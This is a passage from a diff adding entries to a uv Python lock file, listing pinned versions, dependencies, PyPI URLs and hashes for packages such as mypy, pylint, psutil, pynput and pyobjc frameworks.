"https://files.pythonhosted.org/packages/b9/eb/7697f60fbe7042ab4e88f4ee6af496b7f222fffb0a4e3593ef1f29f81652/librt-0.8.1-cp314-cp314t-win32.whl", hash = "sha256:738f08021b3142c2918c03692608baed43bc51144c29e35807682f8070ee2a3a", size = 51328, upload-time = "2026-02-17T16:12:45.148Z" }, + { url = "https://files.pythonhosted.org/packages/7c/72/34bf2eb7a15414a23e5e70ecb9440c1d3179f393d9349338a91e2781c0fb/librt-0.8.1-cp314-cp314t-win_amd64.whl", hash = "sha256:89815a22daf9c51884fb5dbe4f1ef65ee6a146e0b6a8df05f753e2e4a9359bf4", size = 58722, upload-time = "2026-02-17T16:12:46.85Z" }, + { url = "https://files.pythonhosted.org/packages/b2/c8/d148e041732d631fc76036f8b30fae4e77b027a1e95b7a84bb522481a940/librt-0.8.1-cp314-cp314t-win_arm64.whl", hash = "sha256:bf512a71a23504ed08103a13c941f763db13fb11177beb3d9244c98c29fb4a61", size = 48755, upload-time = "2026-02-17T16:12:47.943Z" }, +] + +[[package]] +name = "mccabe" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" }, +] + +[[package]] +name = "mypy" +version = "1.19.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "librt", marker = "platform_python_implementation != 'PyPy'" }, + { name = "mypy-extensions" }, + { name = "pathspec" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/db/4efed9504bc01309ab9c2da7e352cc223569f05478012b5d9ece38fd44d2/mypy-1.19.1.tar.gz", hash = "sha256:19d88bb05303fe63f71dd2c6270daca27cb9401c4ca8255fe50d1d920e0eb9ba", size = 3582404, upload-time = "2025-12-15T05:03:48.42Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/9f/a6abae693f7a0c697dbb435aac52e958dc8da44e92e08ba88d2e42326176/mypy-1.19.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e3157c7594ff2ef1634ee058aafc56a82db665c9438fd41b390f3bde1ab12250", size = 13201927, upload-time = "2025-12-15T05:02:29.138Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a4/45c35ccf6e1c65afc23a069f50e2c66f46bd3798cbe0d680c12d12935caa/mypy-1.19.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bdb12f69bcc02700c2b47e070238f42cb87f18c0bc1fc4cdb4fb2bc5fd7a3b8b", size = 12206730, upload-time = "2025-12-15T05:03:01.325Z" }, + { url = "https://files.pythonhosted.org/packages/05/bb/cdcf89678e26b187650512620eec8368fded4cfd99cfcb431e4cdfd19dec/mypy-1.19.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f859fb09d9583a985be9a493d5cfc5515b56b08f7447759a0c5deaf68d80506e", size = 12724581, upload-time = "2025-12-15T05:03:20.087Z" }, + { url = "https://files.pythonhosted.org/packages/d1/32/dd260d52babf67bad8e6770f8e1102021877ce0edea106e72df5626bb0ec/mypy-1.19.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9a6538e0415310aad77cb94004ca6482330fece18036b5f360b62c45814c4ef", size = 13616252, upload-time = "2025-12-15T05:02:49.036Z" }, + { url = "https://files.pythonhosted.org/packages/71/d0/5e60a9d2e3bd48432ae2b454b7ef2b62a960ab51292b1eda2a95edd78198/mypy-1.19.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:da4869fc5e7f62a88f3fe0b5c919d1d9f7ea3cef92d3689de2823fd27e40aa75", size = 13840848, upload-time = "2025-12-15T05:02:55.95Z" }, + { url = "https://files.pythonhosted.org/packages/98/76/d32051fa65ecf6cc8c6610956473abdc9b4c43301107476ac03559507843/mypy-1.19.1-cp313-cp313-win_amd64.whl", hash = "sha256:016f2246209095e8eda7538944daa1d60e1e8134d98983b9fc1e92c1fc0cb8dd", size = 10135510, upload-time = "2025-12-15T05:02:58.438Z" }, + { url = "https://files.pythonhosted.org/packages/de/eb/b83e75f4c820c4247a58580ef86fcd35165028f191e7e1ba57128c52782d/mypy-1.19.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06e6170bd5836770e8104c8fdd58e5e725cfeb309f0a6c681a811f557e97eac1", size = 13199744, upload-time = "2025-12-15T05:03:30.823Z" }, + { url = "https://files.pythonhosted.org/packages/94/28/52785ab7bfa165f87fcbb61547a93f98bb20e7f82f90f165a1f69bce7b3d/mypy-1.19.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:804bd67b8054a85447c8954215a906d6eff9cabeabe493fb6334b24f4bfff718", size = 12215815, upload-time = "2025-12-15T05:02:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/0a/c6/bdd60774a0dbfb05122e3e925f2e9e846c009e479dcec4821dad881f5b52/mypy-1.19.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21761006a7f497cb0d4de3d8ef4ca70532256688b0523eee02baf9eec895e27b", size = 12740047, upload-time = "2025-12-15T05:03:33.168Z" }, + { url = "https://files.pythonhosted.org/packages/32/2a/66ba933fe6c76bd40d1fe916a83f04fed253152f451a877520b3c4a5e41e/mypy-1.19.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:28902ee51f12e0f19e1e16fbe2f8f06b6637f482c459dd393efddd0ec7f82045", size = 13601998, upload-time = "2025-12-15T05:03:13.056Z" }, + { url = "https://files.pythonhosted.org/packages/e3/da/5055c63e377c5c2418760411fd6a63ee2b96cf95397259038756c042574f/mypy-1.19.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:481daf36a4c443332e2ae9c137dfee878fcea781a2e3f895d54bd3002a900957", size = 13807476, upload-time = "2025-12-15T05:03:17.977Z" }, + { url = "https://files.pythonhosted.org/packages/cd/09/4ebd873390a063176f06b0dbf1f7783dd87bd120eae7727fa4ae4179b685/mypy-1.19.1-cp314-cp314-win_amd64.whl", hash = "sha256:8bb5c6f6d043655e055be9b542aa5f3bdd30e4f3589163e85f93f3640060509f", size = 10281872, upload-time = "2025-12-15T05:03:05.549Z" }, + { url = "https://files.pythonhosted.org/packages/8d/f4/4ce9a05ce5ded1de3ec1c1d96cf9f9504a04e54ce0ed55cfa38619a32b8d/mypy-1.19.1-py3-none-any.whl", hash = "sha256:f1235f5ea01b7db5468d53ece6aaddf1ad0b88d9e7462b86ef96fe04995d7247", size = 2471239, upload-time = "2025-12-15T05:03:07.248Z" }, +] + +[[package]] +name = "mypy-extensions" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" }, +] + +[[package]] +name = "packaging" +version = "26.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" }, +] + +[[package]] +name = "pathspec" +version = "1.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/36/e27608899f9b8d4dff0617b2d9ab17ca5608956ca44461ac14ac48b44015/pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645", size = 131200, upload-time = "2026-01-27T03:59:46.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/3c/2c197d226f9ea224a9ab8d197933f9da0ae0aac5b6e0f884e2b8d9c8e9f7/pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723", size = 55206, upload-time = "2026-01-27T03:59:45.137Z" }, +] + +[[package]] +name = "platformdirs" +version = "4.9.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1b/04/fea538adf7dbbd6d186f551d595961e564a3b6715bdf276b477460858672/platformdirs-4.9.2.tar.gz", hash = "sha256:9a33809944b9db043ad67ca0db94b14bf452cc6aeaac46a88ea55b26e2e9d291", size = 28394, upload-time = "2026-02-16T03:56:10.574Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/48/31/05e764397056194206169869b50cf2fee4dbbbc71b344705b9c0d878d4d8/platformdirs-4.9.2-py3-none-any.whl", hash = "sha256:9170634f126f8efdae22fb58ae8a0eaa86f38365bc57897a6c4f781d1f5875bd", size = 21168, upload-time = "2026-02-16T03:56:08.891Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "psutil" +version = "7.2.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/73/cb/09e5184fb5fc0358d110fc3ca7f6b1d033800734d34cac10f4136cfac10e/psutil-7.2.1.tar.gz", hash = "sha256:f7583aec590485b43ca601dd9cea0dcd65bd7bb21d30ef4ddbf4ea6b5ed1bdd3", size = 490253, upload-time = "2025-12-29T08:26:00.169Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/77/8e/f0c242053a368c2aa89584ecd1b054a18683f13d6e5a318fc9ec36582c94/psutil-7.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:ba9f33bb525b14c3ea563b2fd521a84d2fa214ec59e3e6a2858f78d0844dd60d", size = 129624, upload-time = "2025-12-29T08:26:04.255Z" }, + { url = "https://files.pythonhosted.org/packages/26/97/a58a4968f8990617decee234258a2b4fc7cd9e35668387646c1963e69f26/psutil-7.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:81442dac7abfc2f4f4385ea9e12ddf5a796721c0f6133260687fec5c3780fa49", size = 130132, upload-time = "2025-12-29T08:26:06.228Z" }, + { url = "https://files.pythonhosted.org/packages/db/6d/ed44901e830739af5f72a85fa7ec5ff1edea7f81bfbf4875e409007149bd/psutil-7.2.1-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ea46c0d060491051d39f0d2cff4f98d5c72b288289f57a21556cc7d504db37fc", size = 180612, upload-time = "2025-12-29T08:26:08.276Z" }, + { url = "https://files.pythonhosted.org/packages/c7/65/b628f8459bca4efbfae50d4bf3feaab803de9a160b9d5f3bd9295a33f0c2/psutil-7.2.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:35630d5af80d5d0d49cfc4d64c1c13838baf6717a13effb35869a5919b854cdf", size = 183201, upload-time = "2025-12-29T08:26:10.622Z" }, + { url = "https://files.pythonhosted.org/packages/fb/23/851cadc9764edcc18f0effe7d0bf69f727d4cf2442deb4a9f78d4e4f30f2/psutil-7.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:923f8653416604e356073e6e0bccbe7c09990acef442def2f5640dd0faa9689f", size = 139081, upload-time = "2025-12-29T08:26:12.483Z" }, + { url = "https://files.pythonhosted.org/packages/59/82/d63e8494ec5758029f31c6cb06d7d161175d8281e91d011a4a441c8a43b5/psutil-7.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cfbe6b40ca48019a51827f20d830887b3107a74a79b01ceb8cc8de4ccb17b672", size = 134767, upload-time = "2025-12-29T08:26:14.528Z" }, + { url = "https://files.pythonhosted.org/packages/05/c2/5fb764bd61e40e1fe756a44bd4c21827228394c17414ade348e28f83cd79/psutil-7.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:494c513ccc53225ae23eec7fe6e1482f1b8a44674241b54561f755a898650679", size = 129716, upload-time = "2025-12-29T08:26:16.017Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d2/935039c20e06f615d9ca6ca0ab756cf8408a19d298ffaa08666bc18dc805/psutil-7.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:3fce5f92c22b00cdefd1645aa58ab4877a01679e901555067b1bd77039aa589f", size = 130133, upload-time = "2025-12-29T08:26:18.009Z" }, + { url = "https://files.pythonhosted.org/packages/77/69/19f1eb0e01d24c2b3eacbc2f78d3b5add8a89bf0bb69465bc8d563cc33de/psutil-7.2.1-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93f3f7b0bb07711b49626e7940d6fe52aa9940ad86e8f7e74842e73189712129", size = 181518, upload-time = "2025-12-29T08:26:20.241Z" }, + { url = "https://files.pythonhosted.org/packages/e1/6d/7e18b1b4fa13ad370787626c95887b027656ad4829c156bb6569d02f3262/psutil-7.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d34d2ca888208eea2b5c68186841336a7f5e0b990edec929be909353a202768a", size = 184348, upload-time = "2025-12-29T08:26:22.215Z" }, + { url = "https://files.pythonhosted.org/packages/98/60/1672114392dd879586d60dd97896325df47d9a130ac7401318005aab28ec/psutil-7.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2ceae842a78d1603753561132d5ad1b2f8a7979cb0c283f5b52fb4e6e14b1a79", size = 140400, upload-time = "2025-12-29T08:26:23.993Z" }, + { url = "https://files.pythonhosted.org/packages/fb/7b/d0e9d4513c46e46897b46bcfc410d51fc65735837ea57a25170f298326e6/psutil-7.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:08a2f175e48a898c8eb8eace45ce01777f4785bc744c90aa2cc7f2fa5462a266", size = 135430, upload-time = "2025-12-29T08:26:25.999Z" }, + { url = "https://files.pythonhosted.org/packages/c5/cf/5180eb8c8bdf6a503c6919f1da28328bd1e6b3b1b5b9d5b01ae64f019616/psutil-7.2.1-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:b2e953fcfaedcfbc952b44744f22d16575d3aa78eb4f51ae74165b4e96e55f42", size = 128137, upload-time = "2025-12-29T08:26:27.759Z" }, + { url = "https://files.pythonhosted.org/packages/c5/2c/78e4a789306a92ade5000da4f5de3255202c534acdadc3aac7b5458fadef/psutil-7.2.1-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:05cc68dbb8c174828624062e73078e7e35406f4ca2d0866c272c2410d8ef06d1", size = 128947, upload-time = "2025-12-29T08:26:29.548Z" }, + { url = "https://files.pythonhosted.org/packages/29/f8/40e01c350ad9a2b3cb4e6adbcc8a83b17ee50dd5792102b6142385937db5/psutil-7.2.1-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e38404ca2bb30ed7267a46c02f06ff842e92da3bb8c5bfdadbd35a5722314d8", size = 154694, upload-time = "2025-12-29T08:26:32.147Z" }, + { url = "https://files.pythonhosted.org/packages/06/e4/b751cdf839c011a9714a783f120e6a86b7494eb70044d7d81a25a5cd295f/psutil-7.2.1-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab2b98c9fc19f13f59628d94df5cc4cc4844bc572467d113a8b517d634e362c6", size = 156136, upload-time = "2025-12-29T08:26:34.079Z" }, + { url = "https://files.pythonhosted.org/packages/44/ad/bbf6595a8134ee1e94a4487af3f132cef7fce43aef4a93b49912a48c3af7/psutil-7.2.1-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f78baafb38436d5a128f837fab2d92c276dfb48af01a240b861ae02b2413ada8", size = 148108, upload-time = "2025-12-29T08:26:36.225Z" }, + { url = "https://files.pythonhosted.org/packages/1c/15/dd6fd869753ce82ff64dcbc18356093471a5a5adf4f77ed1f805d473d859/psutil-7.2.1-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:99a4cd17a5fdd1f3d014396502daa70b5ec21bf4ffe38393e152f8e449757d67", size = 147402, upload-time = "2025-12-29T08:26:39.21Z" }, + { url = "https://files.pythonhosted.org/packages/34/68/d9317542e3f2b180c4306e3f45d3c922d7e86d8ce39f941bb9e2e9d8599e/psutil-7.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:b1b0671619343aa71c20ff9767eced0483e4fc9e1f489d50923738caf6a03c17", size = 136938, upload-time = "2025-12-29T08:26:41.036Z" }, + { url = "https://files.pythonhosted.org/packages/3e/73/2ce007f4198c80fcf2cb24c169884f833fe93fbc03d55d302627b094ee91/psutil-7.2.1-cp37-abi3-win_arm64.whl", hash = "sha256:0d67c1822c355aa6f7314d92018fb4268a76668a536f133599b91edd48759442", size = 133836, upload-time = "2025-12-29T08:26:43.086Z" }, +] + +[[package]] +name = "pygments" +version = "2.19.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, +] + +[[package]] +name = "pylint" +version = "4.0.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "astroid" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "dill" }, + { name = "isort" }, + { name = "mccabe" }, + { name = "platformdirs" }, + { name = "tomlkit" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/d2/b081da1a8930d00e3fc06352a1d449aaf815d4982319fab5d8cdb2e9ab35/pylint-4.0.4.tar.gz", hash = "sha256:d9b71674e19b1c36d79265b5887bf8e55278cbe236c9e95d22dc82cf044fdbd2", size = 1571735, upload-time = "2025-11-30T13:29:04.315Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a6/92/d40f5d937517cc489ad848fc4414ecccc7592e4686b9071e09e64f5e378e/pylint-4.0.4-py3-none-any.whl", hash = "sha256:63e06a37d5922555ee2c20963eb42559918c20bd2b21244e4ef426e7c43b92e0", size = 536425, upload-time = "2025-11-30T13:29:02.53Z" }, +] + +[[package]] +name = "pynput" +version = "1.8.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "evdev", marker = "'linux' in sys_platform" }, + { name = "pyobjc-framework-applicationservices", marker = "sys_platform == 'darwin'" }, + { name = "pyobjc-framework-quartz", marker = "sys_platform == 'darwin'" }, + { name = "python-xlib", marker = "'linux' in sys_platform" }, + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f0/c3/dccf44c68225046df5324db0cc7d563a560635355b3e5f1d249468268a6f/pynput-1.8.1.tar.gz", hash = "sha256:70d7c8373ee98911004a7c938742242840a5628c004573d84ba849d4601df81e", size = 82289, upload-time = "2025-03-17T17:12:01.481Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/4f/ac3fa906ae8a375a536b12794128c5efacade9eaa917a35dfd27ce0c7400/pynput-1.8.1-py2.py3-none-any.whl", hash = "sha256:42dfcf27404459ca16ca889c8fb8ffe42a9fe54f722fd1a3e130728e59e768d2", size = 91693, upload-time = "2025-03-17T17:12:00.094Z" }, +] + +[[package]] +name = "pyobjc-core" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b8/b6/d5612eb40be4fd5ef88c259339e6313f46ba67577a95d86c3470b951fce0/pyobjc_core-12.1.tar.gz", hash = "sha256:2bb3903f5387f72422145e1466b3ac3f7f0ef2e9960afa9bcd8961c5cbf8bd21", size = 1000532, upload-time = "2025-11-14T10:08:28.292Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/d2/29e5e536adc07bc3d33dd09f3f7cf844bf7b4981820dc2a91dd810f3c782/pyobjc_core-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:01c0cf500596f03e21c23aef9b5f326b9fb1f8f118cf0d8b66749b6cf4cbb37a", size = 677370, upload-time = "2025-11-14T09:33:05.273Z" }, + { url = "https://files.pythonhosted.org/packages/1b/f0/4b4ed8924cd04e425f2a07269943018d43949afad1c348c3ed4d9d032787/pyobjc_core-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:177aaca84bb369a483e4961186704f64b2697708046745f8167e818d968c88fc", size = 719586, upload-time = "2025-11-14T09:33:53.302Z" }, + { url = "https://files.pythonhosted.org/packages/25/98/9f4ed07162de69603144ff480be35cd021808faa7f730d082b92f7ebf2b5/pyobjc_core-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:844515f5d86395b979d02152576e7dee9cc679acc0b32dc626ef5bda315eaa43", size = 670164, upload-time = "2025-11-14T09:34:37.458Z" }, + { url = "https://files.pythonhosted.org/packages/62/50/dc076965c96c7f0de25c0a32b7f8aa98133ed244deaeeacfc758783f1f30/pyobjc_core-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:453b191df1a4b80e756445b935491b974714456ae2cbae816840bd96f86db882", size = 712204, upload-time = "2025-11-14T09:35:24.148Z" }, +] + +[[package]] +name = "pyobjc-framework-applicationservices" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, + { name = "pyobjc-framework-cocoa" }, + { name = "pyobjc-framework-coretext" }, + { name = "pyobjc-framework-quartz" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/be/6a/d4e613c8e926a5744fc47a9e9fea08384a510dc4f27d844f7ad7a2d793bd/pyobjc_framework_applicationservices-12.1.tar.gz", hash = "sha256:c06abb74f119bc27aeb41bf1aef8102c0ae1288aec1ac8665ea186a067a8945b", size = 103247, upload-time = "2025-11-14T10:08:52.18Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fc/21/79e42ee836f1010f5fe9e97d2817a006736bd287c15a3674c399190a2e77/pyobjc_framework_applicationservices-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bd1f4dbb38234a24ae6819f5e22485cf7dd3dd4074ff3bf9a9fdb4c01a3b4a38", size = 32859, upload-time = "2025-11-14T09:36:15.208Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/0f1d4dcf2345e875e5ea9761d5a70969e241d24089133d21f008dde596f5/pyobjc_framework_applicationservices-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:8a5d2845249b6a85ba9e320a9848468c3f8cd6f59605a9a43f406a7810eaa830", size = 33115, upload-time = "2025-11-14T09:36:18.384Z" }, + { url = "https://files.pythonhosted.org/packages/40/44/3196b40fec68b4413c92875311f17ccf4c3ff7d2e53676f8fc18ad29bd18/pyobjc_framework_applicationservices-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:f43c9a24ad97a9121276d4d571aa04a924282c80d7291cfb3b29839c3e2013a8", size = 32997, upload-time = "2025-11-14T09:36:21.58Z" }, + { url = "https://files.pythonhosted.org/packages/fd/bb/dab21d2210d3ef7dd0616df7e8ea89b5d8d62444133a25f76e649a947168/pyobjc_framework_applicationservices-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1f72e20009a4ebfd5ed5b23dc11c1528ad6b55cc63ee71952ddb2a5e5f1cb7da", size = 33238, upload-time = "2025-11-14T09:36:24.751Z" }, +] + +[[package]] +name = "pyobjc-framework-cocoa" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/a3/16ca9a15e77c061a9250afbae2eae26f2e1579eb8ca9462ae2d2c71e1169/pyobjc_framework_cocoa-12.1.tar.gz", hash = "sha256:5556c87db95711b985d5efdaaf01c917ddd41d148b1e52a0c66b1a2e2c5c1640", size = 2772191, upload-time = "2025-11-14T10:13:02.069Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/31/0c2e734165abb46215797bd830c4bdcb780b699854b15f2b6240515edcc6/pyobjc_framework_cocoa-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:5a3dcd491cacc2f5a197142b3c556d8aafa3963011110102a093349017705118", size = 384689, upload-time = "2025-11-14T09:41:41.478Z" }, + { url = "https://files.pythonhosted.org/packages/23/3b/b9f61be7b9f9b4e0a6db18b3c35c4c4d589f2d04e963e2174d38c6555a92/pyobjc_framework_cocoa-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:914b74328c22d8ca261d78c23ef2befc29776e0b85555973927b338c5734ca44", size = 388843, upload-time = "2025-11-14T09:42:05.719Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/f777cc9e775fc7dae77b569254570fe46eb842516b3e4fe383ab49eab598/pyobjc_framework_cocoa-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:03342a60fc0015bcdf9b93ac0b4f457d3938e9ef761b28df9564c91a14f0129a", size = 384932, upload-time = "2025-11-14T09:42:29.771Z" }, + { url = "https://files.pythonhosted.org/packages/58/27/b457b7b37089cad692c8aada90119162dfb4c4a16f513b79a8b2b022b33b/pyobjc_framework_cocoa-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:6ba1dc1bfa4da42d04e93d2363491275fb2e2be5c20790e561c8a9e09b8cf2cc", size = 388970, upload-time = "2025-11-14T09:42:53.964Z" }, +] + +[[package]] +name = "pyobjc-framework-coretext" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, + { name = "pyobjc-framework-cocoa" }, + { name = "pyobjc-framework-quartz" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/29/da/682c9c92a39f713bd3c56e7375fa8f1b10ad558ecb075258ab6f1cdd4a6d/pyobjc_framework_coretext-12.1.tar.gz", hash = "sha256:e0adb717738fae395dc645c9e8a10bb5f6a4277e73cba8fa2a57f3b518e71da5", size = 90124, upload-time = "2025-11-14T10:14:38.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/a2/a3974e3e807c68e23a9d7db66fc38ac54f7ecd2b7a9237042006699a76e1/pyobjc_framework_coretext-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:7cbb2c28580e6704ce10b9a991ccd9563a22b3a75f67c36cf612544bd8b21b5f", size = 30110, upload-time = "2025-11-14T09:47:07.518Z" }, + { url = "https://files.pythonhosted.org/packages/0f/5d/85e059349e9cfbd57269a1f11f56747b3ff5799a3bcbd95485f363c623d8/pyobjc_framework_coretext-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:14100d1e39efb30f57869671fb6fce8d668f80c82e25e7930fb364866e5c0dab", size = 30697, upload-time = "2025-11-14T09:47:10.932Z" }, + { url = "https://files.pythonhosted.org/packages/ef/c3/adf9d306e9ead108167ab7a974ab7d171dbacf31c72fad63e12585f58023/pyobjc_framework_coretext-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:782a1a9617ea267c05226e9cd81a8dec529969a607fe1e037541ee1feb9524e9", size = 30095, upload-time = "2025-11-14T09:47:13.893Z" }, + { url = 